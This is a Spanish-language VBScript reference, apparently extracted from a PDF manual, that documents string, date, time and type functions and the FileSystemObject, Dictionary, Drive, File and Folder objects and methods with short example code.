Valores devueltos La función StrComp devuelve los siguientes valores: Si cadena1 es menor que cadena2 cadena1 es igual a cadena2 cadena1 es mayor que cadena2 cadena1 o cadena2 es Null StrComp devuelve -1 0 1 Null Comentarios El siguiente ejemplo usa la función StrComp para devolver los resultados de una comparación de cadenas. Si el tercer argumento es igual a 1. comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar cadenas. se realiza una comparación binaria. Cualquier expresión de cadena válida. Requerido. si el tercer argumento es igual a 0 o si se omite.byethost14. MyRaiz = Sqr(0) ' Devuelve 0. By KarlosVid(ÊÇ) www. Valores El argumento comparación puede tener los siguientes valores: Constante vbBinaryCompare vbTextCompare Valor 0 1 Descripción Realiza una comparación binaria. Función StrComp Descripción Devuelve un valor que indica el resultado de una comparación de cadenas. Sintaxis StrComp(cadena1. Si se omite. Comentarios El siguiente ejemplo usa la función Sqr para calcular la raíz cuadrada de un número: Dim MyRaiz MyRaiz = Sqr(4) ' Devuelve 2. Consulte la sección Valores para saber cuáles son los valores permitidos. MyRaiz = Sqr(23) ' Devuelve 4.idat. MyRaiz = Sqr(-4) ' Genera un error en tiempo de ejecución. Realiza una comparación de texto. comparación]) La sintaxis de la función StrComp tiene los siguientes argumentos: Parte cadena1 cadena2 Descripción Requerido.El argumento número puede ser cualquier expresión numérica válida mayor o igual a 0. Cualquier expresión de cadena válida. se realiza una comparación de texto.79583152331272. cadena2[.com 62 . se realiza una comparación binaria.

MiCadena = String(10. Función String Descripción Devuelve una cadena de caracteres repetidos de la longitud especificada. Si cadena1 es Null. Función StrReverse Descripción Devuelve una cadena en la que se invierte el orden de los caracteres de una cadena especificada. 0) ' Devuelve -1. Comentarios Si especifica un número para carácter mayor que 255. MiCad1) ' Devuelve 1. MiComp = StrComp(MiCad2. carácter) La sintaxis de la función String tiene los siguientes argumentos: Parte número Descripción Longitud de la cadena devuelta. carácter Código de carácter que especifica el carácter o expresión de cadena cuyo primer carácter se usa para generar la cadena devuelta. Comentarios El siguiente ejemplo usa la función StrReverse para devolver una cadena en orden inverso: Dim MiCad MiCad = StrReverse("VBScript") ' MiCad contiene "tpircSBV". Sintaxis StrReverse(cadena1) El argumento cadena1 es la cadena cuyos caracteres se van a invertir. "*") ' Devuelve "*****". MiComp = StrComp(MiCad1. 42) ' Devuelve "*****". Si número contiene Null.com 63 .byethost14. se devuelve una cadena de longitud cero. MiCad2. Si cadena1 es una cadena de longitud cero (""). Si carácter contiene Null. MiComp = StrComp(MiCad1. MiCad2.Dim MiCad1. MiCadena = String(5. 1) ' Devuelve 0. "ABC") ' Devuelve "AAAAAAAAAA". MiComp MiCad1 = "ABCD": MiCad2 = "abcd" ' Define las variables.idat. Sintaxis String(número. se produce un error. String convierte el número en un código de carácter válido con la fórmula: carácter Mod 256 El siguiente ejemplo usa la función String para devolver cadenas de caracteres repetidos de la longitud especificada: Dim MiCadena MiCadena = String(5. se devuelve Null. By KarlosVid(ÊÇ) www. se devuelve Null. MiCad2.

Sintaxis Timer Observaciones By KarlosVid(ÊÇ) www. Sintaxis Tan(número) El argumento número puede ser cualquier expresión numérica válida que exprese un ángulo en radianes. El siguiente ejemplo usa la función Tan para devolver la tangente de un ángulo: Dim MiAngulo. El radio o proporción es la longitud del lado opuesto al ángulo dividido por la longitud del lado adyacente al ángulo. Para convertir grados en radianes. MiCotangente = 1 / Tan(MiAngulo) ' Calcula la cotangente.com 64 .m. MiCotangente MiAngulo = 1.idat. multiplique los radianes por 180/pi.Función Tan Descripción Devuelve la tangente de un ángulo.byethost14. Función Timer Descripción Devuelve el número de segundos que transcurrieron desde las 12:00 a. Para convertir radianes en grados. Comentarios Tan recibe un ángulo y devuelve el radio o proporción de dos lados de un triángulo rectángulo. Sintaxis Time Comentarios El siguiente ejemplo usa la función Time para devolver la hora actual del sistema: Dim MiHoraCompleta MiHoraCompleta = Time ' Devuelve la hora actual del sistema. Función Time Descripción Devuelve un valor Variant del subtipo Date que indica la hora actual del sistema. multiplique los grados por pi/180. (medianoche).3 ' Define un ángulo en radianes.

El ejemplo siguiente utiliza la función Timer para determinar el tiempo que lleva iterar un bucle For...Next N veces: Function TiempoBucle(N) Dim StartTime, EndTime StartTime = Timer For I = 1 To N Next EndTime = Timer TimeIt = EndTime - StartTime End Function

Función TimeSerial
Descripción
Devuelve un valor Variant del subtipo Date que contiene la hora para una hora, minuto y segundo específicos.

Sintaxis
TimeSerial(hora, minuto, segundo) La sintaxis de la función TimeSerial tiene los siguientes argumentos: Parte hora minuto segundo Descripción Número entre 0 (12:00 a.m.) y 23 (11:00 p.m.), ambos inluidos, o una expresión numérica. Cualquier expresión numérica. Cualquier expresión numérica.

Comentarios
Para especificar una hora, como 11:59:59, el intervalo de números para cada argumento TimeSerial debería estar dentro del intervalo aceptado para la unidad; es decir, entre 0 y 23 para las horas y entre 0 y 59 para los minutos y segundos. Sin embargo, también puede especificar horas ralativas para cada argumento, mediante el uso de cualquier expresión numérica que represente algún número de horas, minutos o segundos antes o después de una hora determinada. Los siguientes ejemplos usan expresiones en lugar de números de hora absolutos. La función TimeSerial devuelve una hora para 15 minutos antes (-15) de seis horas antes del mediodía (12 - 6) o 5:45:00 a.m. Dim MyTime1 MyTime1 = TimeSerial(12 - 6, -15, 0) ' Devuelve 5:45:00 a.m. Cuando cualquier argumento excede el intervalo aceptado para ese argumento, se incrementa hasta la siguiente unidad mayor según sea adecuado. Por ejemplo, si especifica 75 minutos, se evalúa como una hora y 15 minutos. Sin embargo, si cualquier argumento está fuera del intervalo entre -32768 y 32767 o si la hora especificada por los tres argumentos, directamente o a través de una expresión, hace que la fecha exceda el intervalo de fechas permitido, se produce un error.

Función TimeValue
Descripción
Devuelve un valor Variant del subtipo Date containing the time.

Sintaxis By KarlosVid(ÊÇ) www.idat.byethost14.com 65

TimeValue(hora) Normalmente, el argumento hora es una expresión de cadena que representa una hora desde 0:00:00 (12:00:00 a.m.) hasta 23:59:59 (11:59:59 p.m.), ambas incluidas. Sin embargo, hora también puede ser cualquier expresión que represente una hora en ese intervalo. Si hora contiene Null, se devuelve Null.

Comentarios
Puede escribir horas válidas mediante el uso del reloj de 12 horas o de 24 horas. Por ejemplo, "2:24p.m." y "14:24" son argumentos hora válidos. Si el argumento hora contiene información de fecha, TimeValue no devuelve la información de fecha. Sin embargo, si hora incluye información de fecha no válida, se produce un error. El siguiente ejemplo usa la función TimeValue para convertir una cadena en hora. También puede usar literales de fecha para asignar una hora directamente a una variable Variant (por ejemplo, MiHoraCompleta = #4:35:17 p.m.#). Dim MiHoraCompleta MiHoraCompleta = TimeValue("4:35:17 p.m.")

' MiHoraCompleta contiene 4:35:17 p.m.

Función TypeName
Descripción
Devuelve una cadena que proporciona información de subtipo Variant acerca de una variable.

Sintaxis
TypeName(nombredevariable) El argumento requerido nombredevariable puede ser cualquier variable.

Valores devueltos
La función TypeName devuelve los siguientes valores: Valor Byte Integer Long Single Double Currency Decimal Date String Boolean Empty Null <tipo de objeto> Object Descripción Valor byte Valor entero Valor entero largo Valor de coma flotante de precisión simple Valor de coma flotante de precisión doble Valor de moneda Valor decimal Valor de fecha u hora Valor de cadena de caracteres Valor de tipo Boolean; True o False No iniciado Datos no válidos Nombre real de tipo de un objeto Objeto genérico

By KarlosVid(ÊÇ)

www.idat.byethost14.com

66

Unknown Nothing Error

Tipo de objeto desconocido Variable de objeto que aún no hace referencia a una instancia de un objeto Error

Comentarios
El siguiente ejemplo usa la función TypeName para devolver información acerca de una variable: Dim ArrayVar(4), MiTipo NullVar = Null ' Asigna un valor Null. MiTipo MiTipo MiTipo MiTipo MiTipo = = = = = TypeName("VBScript") ' Devuelve "String". TypeName(4) ' Devuelve "Integer". TypeName(37.50) ' Devuelve "Double". TypeName(NullVar) ' Devuelve "Null". TypeName(ArrayVar) ' Devuelve "Variant()".

Función UBound
Descripción
Devuelve el mayor subíndice disponible para la dimensión indicada de una matriz.

Sintaxis
UBound(nombredematriz[, dimensión]) La sintaxis de la función UBound tiene las siguientes partes: Parte Descripción

nombredematriz Requerido. nombre de la variable de matriz que cumple con el estándar de asignación de nombres de variables. dimensión Opcional. Número entero que indica para qué dimensión se va a devolver el límite superior. Use 1 para la primera dimensión, 2 para la segunda y así sucesivamente. Si se omite dimensión, se asume que es igual a 1.

Comentarios
La función UBound se usa con la función LBound para determinar el tamaño de una matriz. Use la función LBound para buscar el límite inferior de una dimensión de una matriz. El límite inferior de cualquier dimensión siempre es igual a 0. Como resultado, UBound devuelve los siguientes valores para una matriz con estas dimensiones: Dim A(100,3,4) Instrucción UBound(A, 1) UBound(A, 2) UBound(A, 3) Valor devuelto 100 3 4

Función UCase
By KarlosVid(ÊÇ) www.idat.byethost14.com 67

El siguiente ejemplo usa la función UCase para devolver una versión en mayúsculas de una cadena: Dim MiPalabra MiPalabra = UCase("Hola mundo") ' Devuelve "HOLA MUNDO". Si cadena contiene Null.Descripción Devuelve una cadena que se convirtió en mayúsculas. Valores devueltos La función VarType devuelve los siguientes valores: Constante vbEmpty vbNull vbInteger vbLong vbSingle vbDouble vbCurrency vbDate vbString vbObject vbError vbBoolean vbVariant Valor 0 1 2 3 4 5 6 7 8 9 10 11 12 Descripción Empty (no iniciado) Null (datos no válidos) Entero Entero largo Número de coma flotante de precisión simple Número de coma flotante de precisión doble Moneda Fecha Cadena Objeto de Automatización Error Valor de tipo Boolean Valor de tipo Variant (sólo se usa con matrices de valores de tipo Variant) By KarlosVid(ÊÇ) www. Comentarios Sólo se convierten en mayúsculas las letras minúsculas.com 68 . Sintaxis UCase(cadena) El argumento cadena es cualquier expresión de cadena válida. se devuelve Null. todas las letras mayúsculas y caracteres que no son letras no cambian.byethost14. Sintaxis VarType(nombredevariable) El argumento nombredevariable puede ser cualquier variable.idat. Función VarType Descripción Devuelve un valor que indica el subtipo de una variable.

VarType (objeto) devuelve el tipo de su propiedad predeterminada.byethost14. Si se omite. MiComprobacion = VarType("VBScript") ' Devuelve 8. primerdíasemana Una constante que especifica el primer día de la semana. El siguiente ejemplo usa la función VarType para determinar el subtipo de una variable. el valor devuelto para una matriz de enteros se calcula como 2 + 8192 u 8194. Función Weekday Descripción Devuelve un número entero que representa el día de la semana. Siempre se agrega a algún otro valor para indicar que es una matriz de un tipo determinado. [primerdíasemana]) La sintaxis de la función Weekday tiene los siguientes argumentos: Parte fecha Descripción Cualquier expresión que pueda representar una fecha. Sintaxis Weekday(fecha.idat. Por ejemplo. Como resultado.vbDataObject vbByte vbArray 13 17 8192 Un objeto de acceso a datos Valor de tipo Byte Matriz Nota Estas constantes las especifica VBScript.com 69 . El valor Variant sólo se devuelve cuando se agregó al valor Array para indicar que el argumento de la función VarType es una matriz. Si un objeto tiene una propiedad predeterminada. se devuelve Null. MiComprobacion = VarType(#10/19/62#) ' Devuelve 7. Valores El argumento primerdíasemana tiene los siguientes valores: Constante vbUseSystem vbSunday vbMonday vbTuesday vbWednesday vbThursday vbFriday Valor 0 1 2 3 4 5 6 Descripción Usar configuración de API NLS. Dim MiComprobacion MiComprobacion = VarType(300) ' Devuelve 2. se asume vbSunday. Si fecha contiene Null. los nombres se pueden usar en cualquier parte del código en lugar de los valores reales. Comentarios La función VarType nunca devuelve el valor Array. Domingo Lunes Martes Miércoles Jueves Viernes By KarlosVid(ÊÇ) www.

el valor predeterminado es False.idat. primerdíasemana Opcional. Sintaxis WeekdayName(díasemana. MiDiaDeLaSemana = Weekday(MiFecha) ' MiDiaDeLaSemana contiene 6 porque ' MiFecha representa un viernes. El valor numérico de cada día depende de la configuración del valor primerdíasemana. La designación numérica para el día de la semana. Opcional. MiDiaDeLaSemana MiFecha = #19 de octubre de 1962# ' Asigna una fecha. Si se omite. primerdíasemana) La sintaxis de la función WeekdayName tiene las siguientes partes: Parte díasemana abreviar Descripción Requerido. Valores El argumento primerdíasemana puede tener los siguientes valores: Constante vbUseSystem vbSunday Valor 0 1 Descripción Usar configuración de API NLS.byethost14. Valor de tipo Boolean que indica si el nombre del día de la semana se debe abreviar. Valor numérico que indica el primer día de la semana. Función WeekdayName Descripción Devuelve una cadena que indica el día de la semana especificado.vbSaturday 7 Sábado Valores devueltos La función Weekday puede devolver cualquiera de los siguientes valores: Constante vbSunday vbMonday vbTuesday vbWednesday vbThursday vbFriday vbSaturday Valor 1 2 3 4 5 6 7 Descripción Domingo Lunes Martes Miércoles Jueves Viernes Sábado Comentarios El siguiente ejemplo usa la función Weekday para obtener el día de la semana de una fecha especificada: Dim MiFecha. Consulte la sección Valores para saber cuáles son los valores permitidos. abreviar. que significa que el nombre del día de la semana no se abrevia. Domingo (predeterminado) By KarlosVid(ÊÇ) www.com 70 .

byethost14. Función Year Descripción Devuelve un número entero que representa el año. Si fecha contiene Null. OBJETOS Objeto Dictionary Descripción Objeto que almacena pares de datos clave. MiAno = Year(MiFecha) ' MiAno contiene 1962.vbMonday vbTuesday vbWednesday vbThursday vbFriday vbSaturday 2 3 4 5 6 7 Lunes Martes Miércoles Jueves Viernes Sábado Comentarios El siguiente ejemplo usa la función WeekDayName para devolver el día especificado: Dim MiFecha MiFecha = WeekDayName(6.idat. La clave se usa para recuperar un elemento individual y. Comentarios Un objeto Dictionary es el equivalente a una matriz asociativa de PERL. se devuelve Null. se almacenan en la matriz. Comentarios El siguiente ejemplo usa la función Year para obtener el año a partir de una fecha especificada: Dim MiFecha. es un entero o una cadena. que pueden ser cualquier forma de datos. elemento. True) ' MiFecha contiene Vie. Los elementos. Cada elemento está asociado con una clave única.com 71 . pero puede ser cualquier tipo de datos excepto una matriz. Sintaxis Year(fecha) El argumento fecha es cualquier expresión que pueda representar una fecha. MiAno MiFecha = #19 de octubre de 1962# ' Asigna una fecha. normalmente. By KarlosVid(ÊÇ) www.

s.DriveType = Remote Then n = d.VolumeName End If s = s & n & "<BR>" Next ShowDriveList = s End Function By KarlosVid(ÊÇ) www. El código siguiente muestra cómo obtener la colección Drives y cómo iterar a través de la colección con la instrucción For Each.IsReady Then n = d. s Set fso = CreateObject("Scripting.GetDrive(fso.idat.El siguiente código muestra cómo crear un objeto Dictionary: Dim d ' Crea una variable Set d = CreateObject("Scripting.VolumeName & "<BR>" s = s & "Espacio libre: " & FormatNumber(d. dc.Dictionary") d. d. 0) s = s & " Kbytes" MostrarEspacioLibre = s End Function Colección Drives Descripción Colección de sólo lectura de todas las unidades disponibles.com 72 ." If d..FileSystemObject") Set dc = fso. n Set fso = CreateObject("Scripting. d.Drives For Each d in dc n = "" s = s & d.byethost14.DriveLetter & " .Add "b"." s = s & d. Comentarios El siguiente código muestra el uso del objeto Drive para tener acceso a las propiedades de una unidad: Function MostrarEspacioLibre(unidadRuta) Dim fso.Next: Function MostrarListaDeUnidades Dim fso. "Atenas" ' Agrega algunas claves y elementos d.Add "c".GetDriveName(unidadRuta)) s = "Unidad " & UCase(unidadRuta) & " .Add "a".ShareName ElseIf d. Comentarios Las unidades de discos removibles no necesitan tener insertado un disco para que aparezcan en la colección Drives. "Belgrado" d.FileSystemObject") Set d = fso.FreeSpace/1024. "Cairo" Objeto Drive Descripción Proporciona acceso a las propiedades de una unidad de disco o recurso de red compartido específico..

True) MyFile. f1.idat. MyFile Set fso = CreateObject("Scripting.") MyFile.byethost14.GetFolder(especificaciondecarpeta) Set fc = f. Function MostrarFechaCreacion(especificaciondearchivo) Dim fso. Comentarios El siguiente código muestra cómo se usa FileSystemObject para devolver un objeto TextStream del que se puede leer o en el que se puede escribir: Dim fso.. fc.Close En el código anteror.Files For Each f1 in fc s = s & f1. f Set fso = CreateObject("Scripting. El método Close vacía el búfer y cierra el archivo.Objeto File Descripción Proporciona acceso a todas las propiedades de un archivo.txt". la función CreateObject devuelve FileSystemObject (fso).. El método CreateTextFile crea el archivo como un objeto TextStream (a) y el método WriteLine escribe una línea de texto en el archivo de texto creado.FileSystemObject") Set f = fso.FileSystemObject") Set MyFile = fso.com 73 .Next: Function MostrarListaDeCarpetas(especificaciondecarpeta) Dim fso.DateCreated End Function Colección Files Descripción Colección de todos los objetos File que existen en una carpeta.name s = s & "<BR>" Next MostrarListaDeCarpetas = s End Function Objeto FileSystemObject Descripción Proporciona acceso al sistema de archivos de un equipo. s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso. Comentarios El siguiente código muestra cómo obtener un objeto File y cómo ver una de sus propiedades.WriteLine("Esto es una prueba. f. Comentarios El código siguiente muestra cómo obtener la colección Files y cómo iterar a través de la colección con la instrucción For Each.GetFile(especificaciondearchivo) MostrarFechaCreacion = f.CreateTextFile("c:\archprue. By KarlosVid(ÊÇ) www.

DateCreated End Function Colección Folders Descripción Colección de todos los objetos Folder contenidos en un objeto Folder. a es el objeto TextStream devuelto por el método CreateTextFile en FileSystemObject: Dim fso.FileSystemObject") Set f = fso...CreateTextFile("c:\archprue.") MyFile.idat.Next: Function MostrarListaDeCarpetas(especificaciondecarpeta) Dim fso.name s = s & "<BR>" Next MostrarListaDeCarpetas = s End Function Objeto TextStream Descripción Permite el acceso secuencial a un archivo.WriteLine("Esto es una prueba. f1.Objeto Folder Descripción Proporciona acceso a todas las propiedades de una carpeta. True) MyFile. f Set fso = CreateObject("Scripting.GetFolder(especificaciondecarpeta) MostrarFechaCreacion = f.txt".SubFolders For Each f1 in fc s = s & f1.FileSystemObject") Set MyFile= fso. Comentarios El código siguiente muestra cómo obtener la colección Folders y cómo iterar a través de la colección con la instrucción For Each.com 74 . Comentarios En el siguiente código. MyFile Set fso = CreateObject("Scripting.GetFolder(especificaciondecarpeta) Set fc = f. Comentarios El siguiente código muestra cómo obtener un objeto Folder y cómo devolver una de sus propiedades: Function MostrarFechaCreacion(especificaciondecarpeta) Dim fso. fc.byethost14. By KarlosVid(ÊÇ) www. s Set fso = CreateObject("Scripting. f.FileSystemObject") Set f = fso.Close WriteLine y Close son dos métodos del objeto TextStream.

Sintaxis objeto. Comentarios By KarlosVid(ÊÇ) www.idat. En el siguiente ejemplo se muestra el uso del método Add: Dim d ' Crear una variable Set d = CreateObject("Scripting.Dictionary") d. "Atenas" ' Agregar algunas claves y elementos d. Siempre es el nombre de un objeto Dictionary. El elemento asociado a la clave que se va a agregar. "Belgrado" d. Requerido.Add "c". Requerido.Add(nombredecarpeta) El método Add tiene las siguientes partes: Parte objeto nombredecarpeta Descripción Requerido.com 75 . elemento El método Add tiene las siguientes partes: Parte objeto clave elemento Descripción Requerido.Add "b". Sintaxis objeto.MÉTODOS Método Add (Dictionary) Descripción Agrega un par elemento y clave a un objeto Dictionary.Add clave. Requerido. La clave asociada al elemento que se va a agregar.byethost14. El nombre del nuevo objeto Folder que se va a agregar. "Cairo" Método Add (Folders) Descripción Agrega un nuevo objeto Folder a una colección Folders. Siempre es el nombre una colección Folders. Comentarios Se producirá un error si la clave ya existe.Add "a".

nombredecarpeta) Dim fso. "Subcarpeta") ObtenerRutaDeBuild = nuevaruta End Function Método Close Descripción Cierra un archivo TextStream abierto. Sintaxis objeto.Close By KarlosVid(ÊÇ) www. En el siguiente ejemplo se muestra el uso del método BuildPath: Function ObtenerRutaDeBuild(ruta) Dim fso. Siempre es el nombre de un FileSystemObject.idat. Nombre que se va a anexar a la ruta existente. y no es necesario que especifique una carpeta existente. nf Set fso = CreateObject("Scripting. Sintaxis objeto.SubFolders If nombredecarpeta <> "" Then Set nf = fc. Esta ruta puede ser absoluta o relativa.BuildPath(ruta. nuevaruta Set fso = CreateObject("Scripting. en caso de que sea necesario.FileSystemObject") nuevaruta = fso.GetFolder(ruta) Set fc = f.FileSystemObject") Set f = fso.Add("Nueva carpeta") End If End Sub Se producirá un error si nombredecarpeta ya existe. nombre Requerido. nombre) La sintaxis del método BuildPath tiene las siguientes partes: Parte objeto ruta Descripción Requerido. Requerido. fc.BuildPath(ruta. Ruta existente a la que se va a anexar name.Add(nombredecarpeta) Else Set nf = fc. f.En el siguiente ejemplo se muestra el uso del método Add para agregar una nueva carpeta: Sub AgregarNuevaCarpeta(ruta. Comentarios El método BuildPath inserta un separador de ruta adicional entre la ruta existente y el nombre.byethost14. Método BuildPath Descripción Agrega un nombre a una ruta existente.com 76 .

Close Set MyFile = fso. sobrescribir Opcional. Destino al que se va a copiar el archivo o la carpeta. donde se pasa como argumento el archivo o la carpeta al que hace referencia el objeto. En el siguiente ejemplo se muestra el uso del método Copy: Dim fso.txt") MyFile. Valor de tipo Boolean que es True (predeterminado) si se van a sobrescribir los archivos o carpetas existentes.txt". sobrescribir] La sintaxis del método Copy tiene las siguientes partes: Parte objeto destino Descripción Requerido.El objeto siempre es el nombre de un objeto TextStream. Requerido. True) MyFile.GetFile("c:\archivodeprueba.CopyFile o FileSystemObject.idat. True) MyFile. Comentarios Los resultados del método Copy en un objeto File o Folder son idénticos a las operaciones realizadas al usar FileSystemObject.Copy ("c:\windows\escritorio\prueba2.WriteLine("Esto es una prueba.Copy destino[.CreateTextFile("c:\archivodeprueba.FileSystemObject") Set MyFile = fso.Close End Sub Método Copy Descripción Copia un archivo o carpeta especificados de una ubicación a otra. Sintaxis objeto. Sintaxis By KarlosVid(ÊÇ) www.FileSystemObject") Set MyFile = fso.byethost14. es False en caso contrario. MyFile Set fso = CreateObject("Scripting.WriteLine("Esto es una prueba.CopyFolder.CreateTextFile("c:\archivodeprueba. debe tener en cuenta que los métodos alternativos pueden copiar varios archivos o carpetas. Siempre es el nombre de un objeto File o Folder.") MyFile. MyFile Set fso = CreateObject("Scripting. Sin embargo.txt".") MyFile.com 77 . Comentarios En el siguiente ejemplo se muestra el uso del método Close para cerrar un archivo TextStream abierto: Sub CrearUnArchivo Dim fso. No se admiten caracteres comodín.txt") Método CopyFile Descripción Copia uno o más archivos de una ubicación a otra.

CopyFile "c:\misdocumentos\*\R1???97. Valor de tipo Boolean que indica si se van a sobrescribir los archivos existentes. sobrescribir Opcional. Especificación de carpetas de cadenas de caracteres. Si el destino es un archivo existente. Siempre es el nombre de un objeto FileSystemObject. destino[. se supone que el destino es una carpeta existente en la que se van a copiar los archivos que coincidan. Especificación de archivos de cadenas de caracteres. En caso contrario. Requerido. Es el caso más habitual. que puede incluir caracteres comodín.byethost14. "c:\carpetatemporal\" Pero no puede utilizar: FileSystemObject. En caso contrario. By KarlosVid(ÊÇ) www. El objeto siempre es el nombre de un objeto FileSystemObject. si es False. Destino de cadena de caracteres donde se van a copiar la carpeta o carpetas desde el origen. Comentarios Sólo se puede usar caracteres comodín en el último componente de la ruta del argumento origen. puede usar: FileSystemObject. Tenga en cuenta que CopyFile fallará si el destino tiene el atributo de sólo lectura. Requerido. En cualquier caso. No se intenta deshacer ningún cambio realizado antes de que se produjera un error.CopyFolder origen. Método CopyFolder Descripción Copia de forma recursiva una carpeta de una ubicación a otra. para uno o más archivos que se van a copiar. Requerido. No se admiten caracteres comodín. se pueden dar tres situaciones al copiar un archivo individual. para una o más carpetas que se van a copiar. destino[. Si el destino es un directorio.com 78 . Requerido.CopyFile origen. No se admiten caracteres comodín. El valor predeterminado es True. • • • Si no existe el destino. Destino de cadena de caracteres donde se van a copiar el archivo o archivos desde origen. el origen se copia.CopyFile "c:\misdocumentos\cartas\*. se producirá un error si el parámetro sobrescribir es False. se supone que el destino es el nombre de un archivo que se va a crear. independientemente del valor de sobrescribir.idat. se producirá un error. los archivos se sobrescribirán. Sintaxis objeto. se intentará copiar el origen sobre el archivo existente. Por ejemplo. no se sobrescribirán. El método CopyFile se detiene en el primer error que encuentra. "c:\carpetatemporal" Si el origen contiene caracteres comodín o el destino termina con un separador de ruta (\). sobrescribir] La sintaxis del método CopyFile tiene las siguientes partes: Parte objeto origen destino Descripción Requerido.xls".doc". Si es True. También se produce un error si un origen que usa caracteres comodín no coincide con ningún archivo. sobrescibir] La sintaxis del método CopyFolder tiene las siguientes partes: Parte objeto origen destino Descripción Requerido.objeto. que puede incluir caracteres comodín.

sobrescibir Opcional. Valor de tipo Boolean que indica si se van a sobrescribir las carpetas existentes. Si es True, las carpetas se sobrescribirán; si es False, no se sobrescribirán. El valor predeterminado es True.

Comentarios
Sólo se puede usar caracteres comodín en el último componente de la ruta del argumento origen. Por ejemplo, puede usar: FileSystemObject.CopyFolder "c:\misdocumentos\cartas\*", "c:\carpetatemporal\" Pero no puede utilizar: FileSystemObject.CopyFolder "c:\misdocumentos\*\*", "c:\carpetatemporal\" Si el origen contiene caracteres comodín o el destino termina con un separador de ruta (\), se supone que el destino es una carpeta existente en la que se van a copiar las carpetas y subcarpetas que coincidan. En caso contrario, se supone que el destino es el nombre de un archivo que se va a crear. En cualquier caso, se pueden dar cuatro situaciones al copiar una carpeta individual. • • • • Si no existe el destino, se copiará la carpeta origen y todo su contenido. Es el caso más habitual. Si el destino es un archivo existente, se producirá un error . Si el destino es un directorio, se intentará copiar la carpeta y todo su contenido. Si un archivo contenido en el origen ya existe en el destino, se producirá un error si sobrescribir es False. En caso cotrario, intentará copiar el archivo sobre el archivo existente. Si el destino es un directorio de sólo lectura, se producirá un error si se intenta copiar a dicho directorio un archivo de sólo lectura existente y sobrescribir es False.

También se produce un error si un origen que usa caracteres comodín no coincide con ninguna carpeta. El método CopyFolder se detiene en el primer error que encuentra. No se intenta deshacer ningún cambio realizado antes de que se produjera un error.

Método CreateFolder
Descripción
Crea una carpeta.

Sintaxis
objeto.CreateFolder(nombredecarpeta) El método CreateFolder tiene las siguientes partes: Parte objeto nombredecarpeta Descripción Requerido. Siempre es el nombre de un objeto FileSystemObject. Requerido. Expresión de cadena que identifica la carpeta que se va a crear.

Comentarios
Se produce un error si la carpeta especificada ya existe. En el siguiente ejemplo se muestra el uso del método CreateFolder: Function EjemploDeCreateFolder Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.CreateFolder("c:\Nueva carpeta") EjemploDeCreateFolder = f.Path End Function

By KarlosVid(ÊÇ)

www.idat.byethost14.com

79

Método CreateTextFile
Descripción
Crea el nombre de archivo especificado y devuelve un objeto TextStream que se puede usar para leer o escribir en el archivo.

Sintaxis
objeto.CreateTextFile(nombredearchivo[, sobrescribir[, unicode]]) El método CreateTextFile tiene las siguientes partes: Parte objeto Descripción Requerido. Siempre es el nombre de un objeto FileSystemObject o Folder.

nombredearchivo Requerido. Expresión de cadena que identifica al archivo que se va a crear. sobrescribir Opcional. Valor de tipo Boolean que indica si se puede sobrescribir un archivo existente. El valor es True si el archivo se puede sobrescribir; es False en caso contrario. Si no se especifica, no se sobrescribirán los archivos existentes. Opcional. Valor de tipo Boolean que indica si el archivo se va a crear como archivo Unicode o ASCII. El valor es True si el archivo creado es Unicode; el valor es False si es creado como archivo ASCII. Si se omite este argumento, se crea un archivo ASCII de forma predeterminada.

unicode

Comentarios
En el siguiente código se muestra cómo usar el método CreateTextFile para crear y abrir un archivo de texto: Sub CrearUnArchivo Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\archprueb.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close End Sub Se producirá un error si el argumento sobrescribir es False, o si no se especifica, para un nombredearchivo que ya existe.

Método Delete
Descripción
Elimina un archivo o carpeta especificados.

Sintaxis
objeto.Delete forzar La sintaxis del método Delete tiene las siguientes partes: Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto File o Folder. forzar Opcional. Valor de tipo Boolean que es True si se desea eliminar archivos o carpetas que tienen atributo de sólo lectura; el valor predeterminado es False si no se van a eliminar.

By KarlosVid(ÊÇ)

www.idat.byethost14.com

80

Comentarios
Se produce un error si no existe el archivo o carpeta especificados. El método Delete no diferencia las carpetas que tienen contenido y las que no tienen. La carpeta especificada se eliminará independientemente de si tiene o no tiene contenido. Los resultados del método Delete en un objeto File o Folder son idénticos a las operaciones realizadas al usar FileSystemObject.DeleteFile o FileSystemObject.DeleteFolder. En el siguiente ejemplo se muestra el uso del método Delete: Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\archprue.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close Set MyFile = fso.GetFile("c:\archprue.txt") Set MyFile = fso.GetFile("c:\archprue.txt") MyFile.Delete

Método DeleteFile
Descripción
Elimina un archivo especificado.

Sintaxis
objeto.DeleteFile especificacióndearchivo[, forzar] La sintaxis del método DeleteFile tiene las siguientes partes: Parte objeto Descripción Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificacióndearchivo Requerido. El nombre del archivo que se va a eliminar. especificaciondearchivo puede contener caracteres comodín en el último componente de la ruta. forzar Opcional. Valor de tipo Boolean que es igual a True si se deben eliminar los archivos con el atributo de sólo lectura establecido; y es igual a False (predeterminado) en caso contrario.

Comentarios
Si no se encuentra ningún archivo se produce un error. El método DeleteFile se detiene en el primer error que encuentra. No se intenta deshacer ningún cambio realizado antes de que se produjera un error. En el siguiente ejemplo se muestra el uso del método DeleteFile: Sub DeleteAFile(especificaciondearchivo) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile(especificaciondearchivo) End Sub

Método DeleteFolder
Descripción By KarlosVid(ÊÇ) www.idat.byethost14.com 81

